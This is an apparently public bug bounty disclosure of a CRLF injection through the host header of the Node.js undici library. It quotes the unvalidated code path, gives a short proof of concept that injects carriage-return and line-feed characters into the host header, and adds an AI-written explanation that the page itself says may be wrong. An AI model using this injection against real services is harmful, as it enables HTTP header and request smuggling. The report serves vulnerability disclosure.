CRLF Injection in Nodejs ‘undici’ via host
The undici library did not sanitise the host header, allowing CRLF injection via undici.request.
- Triaged in 48 hours
- Fixed in 45 days
- Disclosed after 50 days
Summary: undici library should be protects HTTP headers from CRLF injection vulnerabilities. However, CRLF injection exists in the ‘host’ header of undici.request api.
Description: like https://hackerone.com/reports/1664019 Source code: lib/core/request.js:296
function processHeader (request, key, val) {
if (val && (typeof val === 'object' && !Array.isArray(val))) {
throw new InvalidArgumentError(`invalid ${key} header`)
} else if (val === undefined) {
return
}
if (
request.host === null &&
key.length === 4 &&
key.toLowerCase() === 'host'
) {
// Consumed by Client
request.host = val // without headerCharRegex.exec(val)
} else if (
request.contentLength === null &&
...
Example:
import { request } from 'undici'
const unsanitizedContentTypeInput = '12 \r\n\r\naaa:aaa'
const {
statusCode,
headers,
trailers,
body
} = await request('http://127.0.0.1:23333', {
method: 'GET',
headers: {
'content-type': 'application/json',
'host': unsanitizedContentTypeInput
}
})
console.log('response received', statusCode)
console.log('headers', headers)
for await (const data of body) {
console.log('data', data)
}
console.log('trailers', trailers)

Impact:
Impact
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the host header value was assigned directly without running the header character validation regex.
Impact
CRLF injection in the host header affects versions up to 5.14.0; the text does not detail further impact.
What the attacker needed
Attacker controls host header value; application uses undici.request
How it was found
- Import the request function from undici.
- Create a host header value containing carriage return and line feed characters followed by an extra header.
- Call request with a local URL and pass the malicious host header.
- Log the response status, headers and body.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
HTTP headers are lines of text separated by special newline characters. If a program puts user input into a header without removing those newline characters, an attacker can add extra headers or even a second request. This report shows that the host header in undici was not checked for such characters.
What is Smuggling / CRLF?
A front end and a back end split one connection's bytes into requests differently, letting an attacker hide a request inside another user's.